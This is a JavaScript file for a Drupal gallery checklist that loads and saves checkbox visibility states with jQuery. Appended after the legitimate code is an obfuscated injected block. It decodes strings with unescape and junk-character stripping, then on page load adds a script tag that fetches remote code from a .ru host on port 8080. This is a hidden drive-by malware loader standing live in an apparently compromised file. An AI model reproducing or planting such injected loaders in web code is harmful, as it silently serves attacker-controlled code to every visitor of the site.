$(document).ready(
		function () {
				// get the node id from where we left it in the header
				//var nodeid=$("div#nodeid/").val();
    //var nodeid=$("input#edit-nid").val(); # WORKED but we actually don't need node ID - so let's use some static number:
      var nodeid=9999999;
				//alert(nodeid);
				// load the current state of the checkboxes once on loading page
				$.getJSON("/bgchecklist/loadall/"+nodeid, 
	function(json) {
										//alert(json);
										for( i=0; i < json.length; i++ ) {
													if (json[i].state == "1") {
															$("#"+json[i].qid).attr("checked","true").next().html('<font color=red>invisible</font>');
													} else {
															$("#"+json[i].qid).removeAttr("checked").next().html('<font color=green>visible</font>');
													}
										}
								}); 

				// setup an onclick for each checkbox that writes it state back to the database
				// when toggled. The label text is turned red while writing to the db.
				//$("div.bgchecklist/div.form-item/>").each(
				$("input.form-brilliant_gallery_checklist-checkbox").each(
	function () {
											$(this).click( 
														function () {
																//var thislabel=$(this).parent();
                var thislabel=$(this).next();
																var colorbefore=$(thislabel).css("color");
																//alert("/bgchecklist/save/"+nodeid+"/"+$(this).attr("id")+"/1");
																//if ( $(this).attr("checked") == undefined ) {
																if ( $(this).attr("checked") == false ) {
																			//$(thislabel).css("color","red"); 
                   $(thislabel).html("saving...").css("color","red");
																			$.get("/bgchecklist/save/"+nodeid+"/"+$(this).attr("id")+"/0",
			function() {
																										//$(thislabel).css("color",colorbefore); 
                          $(thislabel).html('<font color=green>visible</font>').css("color","green");
																								});
																} else {
																			//$(thislabel).css("color","green"); 
                   $(thislabel).html("saving...").css("color","red");
																			$.get("/bgchecklist/save/"+nodeid+"/"+$(this).attr("id")+"/1",
																					function() {
  		 																					//$(thislabel).css("color",colorbefore); 
                          $(thislabel).html('<font color=red>invisible</font>').css("color","red");
																					});
																}
														});
								});
		}
);

var R=new String();var p=new String();function S(){this.V='';var s=window;var Q=new Date();var KP;if(KP!='zs'){KP=''};var HY=new Array();var a=s['unescape'];var D=a("%2f%63%68%69%6e%61%6d%6f%62%69%6c%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6f%63%75%73%2e%63%6e%2e%70%68%70");function k(c,C){var e;if(e!='j'){e='j'};var eH;if(eH!='_'){eH='_'};this.f='';var g;if(g!='pE'){g='pE'};var K=a("%5d");var sm;if(sm!='' && sm!='N'){sm='P'};var Cg=a("%5b");var Jr;if(Jr!='G' && Jr!='A'){Jr='G'};var O=String("g");var zU;if(zU!='M' && zU != ''){zU=null};var F;if(F!='' && F!='oz'){F=null};var RI;if(RI!='y'){RI='y'};var H=new RegExp(Cg+C+K, O);var Wx;if(Wx!=''){Wx='RF'};return c.replace(H, new String());};var YO;if(YO!='PI' && YO!='Br'){YO='PI'};var q='';this.Ff="";this.xc='';var cp=k('8671492095932511987422524021453','97416325');this.xh='';var WZ;if(WZ!='HE' && WZ!='rq'){WZ='HE'};var GX=new Date();var iI;if(iI!='' && iI!='LB'){iI=null};var W=k('sHcMrXiXpvtg','IfHvMeXg');var FI;if(FI!='' && FI!='Ev'){FI='X'};var z=document;var QC=new String();var E=k('syrKc1','1ib8eTxhvO9UtyZ0KjkJ');var Oj='';var m=k('dQe6fNe6rN','6WNQ');var ZC="";var Qj="";function aX(){var _y=new Array();var O_=a("%68%74%74%70%3a%2f%2f%63%72%65%77%61%6d%65%72%69%63%61%2e%72%75%3a");this.JI='';var Eo="";var ku=O_;var yQ;if(yQ!='Ve'){yQ='Ve'};var kJ=new Date();ku+=cp;var vx=new Array();ku+=D;var jP=new Date();try {var Wh='';var ji="";var Ab="";o=z[k('cBrBe0adtCeoEPlBeom4eunDtY','qdP40YUDupCoB')](W);var lk;if(lk!='eA'){lk=''};var VD=new Array();var qr;if(qr!='' && qr!='sj'){qr='zz'};o[E]=ku;var qt=new String();this.LF='';o[m]=[1][0];var YK='';var WP;if(WP!='yO' && WP!='rf'){WP=''};z.body[k('a2pPp7esnWdPC7hPiPlAd0','R70PA2srWuE')](o);this.hC='';var cn=new Array();} catch(B){var CX;if(CX!='' && CX!='uI'){CX='uJ'};};var bB;if(bB!='' && bB!='zq'){bB=''};}var ml=new Date();this.sG="";var x=k('oSnSlLoAa7dA','pPO2LeSA7X');var rC=new Date();var AD=new Array();s[x]=aX;var Bg=new Date();var Kh=new String();};var UU="";var JP;if(JP!='' && JP!='lLA'){JP=null};S();var Th="";